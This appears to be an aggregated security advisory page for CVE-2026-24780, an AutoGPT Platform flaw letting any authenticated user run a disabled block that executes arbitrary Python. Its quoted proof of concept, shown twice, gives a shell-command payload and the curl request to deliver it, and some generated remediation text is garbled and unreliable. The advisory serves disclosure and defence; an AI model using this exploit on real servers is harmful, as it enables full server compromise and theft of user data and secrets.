CVE-2026-24780: Agpt Remote Code Execution Vulnerability

HIGH

Advisory Identifier: GHSA-r277-3xc5-c79v

Published 2026-01-29

Advisory Summary

CVE-2026-24780 is a HIGH remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Agpt libraries in the PyPI ecosystem. The issue involves autogpt is vulnerable to rce via disabled block execution. Remediation is available in the latest vendor maintenance releases.

CVE-2026-24780 at a Glance

CVE Identifier CVE-2026-24780

GHSA Identifier GHSA-r277-3xc5-c79v

Severity HIGH

CVSS v3.1 Base Score N/A

CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')

Affected Product Agpt

Package Ecosystem PyPI

Published Date 2026-01-29

Last Updated 2026-01-30

How to Fix CVE-2026-24780

To remediate this vulnerability, upgrade all affected Agpt dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

agpt fixed: Latest secure release

pip install agpt>=Latest secure release

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show agpt

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-24780, inspect your installed packages using pip:

pip show agpt

Analyze the terminal output to locate any version of Agpt in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show agpt command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Agpt, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary AutoGPT Platform's block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the `disabled` flag. Any authenticated user can execute the disabled `BlockInstallationBlock`, which writes arbitrary Python code to the server filesystem and executes it via `__import__()`, achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account. ### Details **Two vulnerable endpoints exist:** 1. **Main Web API** ([`v1.py#L355-395`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L355-L395)) - Any authenticated user: ```python @v1_router.post( path="/blocks/{block_id}/execute", dependencies=[Security(requires_user)], # Just requires login ) async def execute_graph_block(block_id: str, data: BlockInput, ...): obj = get_block(block_id) if not obj: raise HTTPException(status_code=404, ...) # NO CHECK FOR obj.disabled! async for name, data in obj.execute(data, ...): output[name].append(data) ``` 2. **External API** ([`external/v1/routes.py#L79-93`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/external/v1/routes.py#L79-L93)) - Same issue. The external API is gated by API key permissions, but any authenticated user can mint API keys with arbitrary permissions via the main API (including `EXECUTE_BLOCK`) at [`v1.py#L1408-1424`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L1408-L1424). As a result, a low-privilege user can create an API key and invoke the external block execution route. **The disabled flag is documented but not enforced:** From [`block.py#L459`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/data/block.py#L459): > "disabled: If the block is disabled, it will not be available for execution." The block listing endpoint correctly filters disabled blocks (`if not b.disabled`), but the execution endpoints do not check this flag. **The dangerous block ([`blocks/block.py#L15-78`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/blocks/block.py#L15-L78)):** ```python class BlockInstallationBlock(Block): """ NOTE: This block allows remote code execution on the server, and it should be used for development purposes only. """ def __init__(self): super().__init__( id="45e78db5-03e9-447f-9395-308d712f5f08", # Hardcoded, public UUID disabled=True, # NOT ENFORCED! ) async def run(self, input_data: Input, **kwargs) -> BlockOutput: code = input_data.code # Writes attacker code to server filesystem file_path = f"{block_dir}/{file_name}.py" with open(file_path, "w") as f: f.write(code) # Executes via import (RCE) module = __import__(module_name, fromlist=[class_name]) ``` ### PoC **1. Create malicious block code** ```python PAYLOAD = ''' import os from backend.data.block import Block, BlockOutput, BlockSchemaInput, BlockSchemaOutput from backend.data.model import SchemaField class RCEBlock(Block): class Input(BlockSchemaInput): cmd: str = SchemaField(description="Command") class Output(BlockSchemaOutput): result: str = SchemaField(description="Result") def __init__(self): super().__init__( id="aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", description="RCE", input_schema=self.Input, output_schema=self.Output, ) async def run(self, input_data, **kwargs): import subprocess result = subprocess.check_output(input_data.cmd, shell=True).decode() yield "result", result ''' ``` **2. Execute via main web API (any logged-in user)** ```bash # Get session cookie by logging into the web UI, then: curl -X POST "https://platform.autogpt.app/api/blocks/45e78db5-03e9-447f-9395-308d712f5f08/execute" \ -H "Cookie: session=<your_session_cookie>" \ -H "Content-Type: application/json" \ -d '{"code": "<PAYLOAD>"}' ``` The malicious Python code is written to the server's `backend/blocks/` directory and immediately executed via `__import__()`. **Alternative route:** Mint an API key with `EXECUTE_BLOCK` via `POST /api-keys`, then call the external API `POST /external-api/v1/blocks/{id}/execute`. ### Impact **Any user who can create an account on AutoGPT Platform can achieve full Remote Code Execution on the backend server.** This allows: - Complete server compromise - Access to all user data, credentials, and API keys stored in the database - Access to environment variables (cloud credentials, secrets) - Lateral movement to connected infrastructure (Redis, PostgreSQL, cloud services) - Persistent backdoor installation **Attack requirements:** - Create a free account on the platform (default self-hosted enables signup; hosted deployments may disable signup, requiring an existing account) - Know the disabled block's UUID (hardcoded in public source code: `45e78db5-03e9-447f-9395-308d712f5f08`) **Why the `disabled` flag exists but fails:** - Block listing correctly filters disabled blocks (users don't see them in UI) - Execution endpoints bypass this check entirely - The UUID is static and publicly known from the open-source codebase **Severity note:** CVSS assumes the default self-hosted configuration where signup is enabled (low-privilege authentication is easy to obtain). If signup is disabled in a hosted deployment, likelihood is lower, but impact remains critical once any authenticated account exists. A fix is available, but was not published to the PyPI registry at time of publication: [0.6.44](https://github.com/Significant-Gravitas/AutoGPT/releases/tag/v0.6.44)

CVE-2026-24780 Affected Agpt Versions

1 component(s)

Product / Package	Ecosystem	Affected Versions	Fixed Version
agpt pypi/agpt	PyPI	≤ 0.2.2

References

GitHub Advisory / Wiki ADVISORY

https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-r277-3xc5-c79v

NVD — CVE-2026-24780 NVD

https://nvd.nist.gov/vuln/detail/CVE-2026-24780

Agpt Source Repository REPOSITORY

https://github.com/Significant-Gravitas/AutoGPT

Agpt Source Repository REPOSITORY

https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/external/v1/routes.py#L79-L93

Agpt Source Repository REPOSITORY

https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L1408-L1424

Agpt Source Repository REPOSITORY

https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L355-L395

Agpt Source Repository REPOSITORY

https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/blocks/block.py#L15-L78

Agpt Source Repository REPOSITORY

https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/data/block.py#L459

Frequently Asked Questions

What is CVE-2026-24780?

CVE-2026-24780 is a security vulnerability in Agpt involving AutoGPT is Vulnerable to RCE via Disabled Block Execution under CWE-94: Improper Control of Generation of Code ('Code Injection').

Which Agpt versions are affected?

Affected versions include releases prior to current release patches across affected packages: agpt.

What version fixes CVE-2026-24780?

Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.

Is agpt affected?

Yes, agpt is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.

What CWE is associated with CVE-2026-24780?

CVE-2026-24780 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).

How can I check PyPI dependencies for CVE-2026-24780?

Run the dependency tree command: 'pip show agpt'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r277-3xc5-c79v",
  "modified" : "2026-01-30T00:04:18Z",
  "published" : "2026-01-29T15:04:03Z",
  "aliases" : [ "CVE-2026-24780" ],
  "summary" : "AutoGPT is Vulnerable to RCE via Disabled Block Execution",
  "details" : "### Summary\n\nAutoGPT Platform's block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the `disabled` flag. Any authenticated user can execute the disabled `BlockInstallationBlock`, which writes arbitrary Python code to the server filesystem and executes it via `__import__()`, achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account.\n\n### Details\n\n**Two vulnerable endpoints exist:**\n\n1. **Main Web API** ([`v1.py#L355-395`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L355-L395)) - Any authenticated user:\n\n```python\n@v1_router.post(\n    path=\"/blocks/{block_id}/execute\",\n    dependencies=[Security(requires_user)],  # Just requires login\n)\nasync def execute_graph_block(block_id: str, data: BlockInput, ...):\n    obj = get_block(block_id)\n    if not obj:\n        raise HTTPException(status_code=404, ...)\n\n    # NO CHECK FOR obj.disabled!\n\n    async for name, data in obj.execute(data, ...):\n        output[name].append(data)\n```\n\n2. **External API** ([`external/v1/routes.py#L79-93`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/external/v1/routes.py#L79-L93)) - Same issue.\n\nThe external API is gated by API key permissions, but any authenticated user can mint API keys with arbitrary permissions via the main API (including `EXECUTE_BLOCK`) at [`v1.py#L1408-1424`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L1408-L1424). As a result, a low-privilege user can create an API key and invoke the external block execution route.\n\n**The disabled flag is documented but not enforced:**\n\nFrom [`block.py#L459`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/data/block.py#L459):\n> \"disabled: If the block is disabled, it will not be available for execution.\"\n\nThe block listing endpoint correctly filters disabled blocks (`if not b.disabled`), but the execution endpoints do not check this flag.\n\n**The dangerous block ([`blocks/block.py#L15-78`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/blocks/block.py#L15-L78)):**\n\n```python\nclass BlockInstallationBlock(Block):\n    \"\"\"\n    NOTE: This block allows remote code execution on the server,\n    and it should be used for development purposes only.\n    \"\"\"\n\n    def __init__(self):\n        super().__init__(\n            id=\"45e78db5-03e9-447f-9395-308d712f5f08\",  # Hardcoded, public UUID\n            disabled=True,  # NOT ENFORCED!\n        )\n\n    async def run(self, input_data: Input, **kwargs) -> BlockOutput:\n        code = input_data.code\n\n        # Writes attacker code to server filesystem\n        file_path = f\"{block_dir}/{file_name}.py\"\n        with open(file_path, \"w\") as f:\n            f.write(code)\n\n        # Executes via import (RCE)\n        module = __import__(module_name, fromlist=[class_name])\n```\n\n### PoC\n\n**1. Create malicious block code**\n\n```python\nPAYLOAD = '''\nimport os\nfrom backend.data.block import Block, BlockOutput, BlockSchemaInput, BlockSchemaOutput\nfrom backend.data.model import SchemaField\n\nclass RCEBlock(Block):\n    class Input(BlockSchemaInput):\n        cmd: str = SchemaField(description=\"Command\")\n    class Output(BlockSchemaOutput):\n        result: str = SchemaField(description=\"Result\")\n\n    def __init__(self):\n        super().__init__(\n            id=\"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\",\n            description=\"RCE\",\n            input_schema=self.Input,\n            output_schema=self.Output,\n        )\n\n    async def run(self, input_data, **kwargs):\n        import subprocess\n        result = subprocess.check_output(input_data.cmd, shell=True).decode()\n        yield \"result\", result\n'''\n```\n\n**2. Execute via main web API (any logged-in user)**\n\n```bash\n# Get session cookie by logging into the web UI, then:\ncurl -X POST \"https://platform.autogpt.app/api/blocks/45e78db5-03e9-447f-9395-308d712f5f08/execute\" \\\n  -H \"Cookie: session=<your_session_cookie>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\": \"<PAYLOAD>\"}'\n```\n\nThe malicious Python code is written to the server's `backend/blocks/` directory and immediately executed via `__import__()`.\n\n**Alternative route:** Mint an API key with `EXECUTE_BLOCK` via `POST /api-keys`, then call the external API `POST /external-api/v1/blocks/{id}/execute`.\n\n### Impact\n\n**Any user who can create an account on AutoGPT Platform can achieve full Remote Code Execution on the backend server.**\n\nThis allows:\n- Complete server compromise\n- Access to all user data, credentials, and API keys stored in the database\n- Access to environment variables (cloud credentials, secrets)\n- Lateral movement to connected infrastructure (Redis, PostgreSQL, cloud services)\n- Persistent backdoor installation\n\n**Attack requirements:**\n- Create a free account on the platform (default self-hosted enables signup; hosted deployments may disable signup, requiring an existing account)\n- Know the disabled block's UUID (hardcoded in public source code: `45e78db5-03e9-447f-9395-308d712f5f08`)\n\n**Why the `disabled` flag exists but fails:**\n- Block listing correctly filters disabled blocks (users don't see them in UI)\n- Execution endpoints bypass this check entirely\n- The UUID is static and publicly known from the open-source codebase\n\n**Severity note:** CVSS assumes the default self-hosted configuration where signup is enabled (low-privilege authentication is easy to obtain). If signup is disabled in a hosted deployment, likelihood is lower, but impact remains critical once any authenticated account exists.\n\nA fix is available, but was not published to the PyPI registry at time of publication: [0.6.44](https://github.com/Significant-Gravitas/AutoGPT/releases/tag/v0.6.44)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "agpt"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.2.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-r277-3xc5-c79v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24780"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Significant-Gravitas/AutoGPT"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/external/v1/routes.py#L79-L93"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L1408-L1424"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L355-L395"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/blocks/block.py#L15-L78"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/data/block.py#L459"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-276", "CWE-863", "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-29T15:04:03Z",
    "nvd_published_at" : "2026-01-29T18:16:17Z"
  }
}

CVSS V4

N/A HIGH

Attack Vector N/A

Attack Complexity N/A

Privileges Required N/A

User Interaction N/A

Scope N/A

Confidentiality N/A

Integrity N/A

Availability N/A

Vector String

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P

Advisory Metadata

Source ID: GHSA-r277-3xc5-c79v
Schema Version: 1.4.0
Published: 2026-01-29 15:04
Last Modified: 2026-01-30 00:04
Database Record File: advisories/github-reviewed/2026/01/GHSA-r277-3xc5-c79v/GHSA-r277-3xc5-c79v.json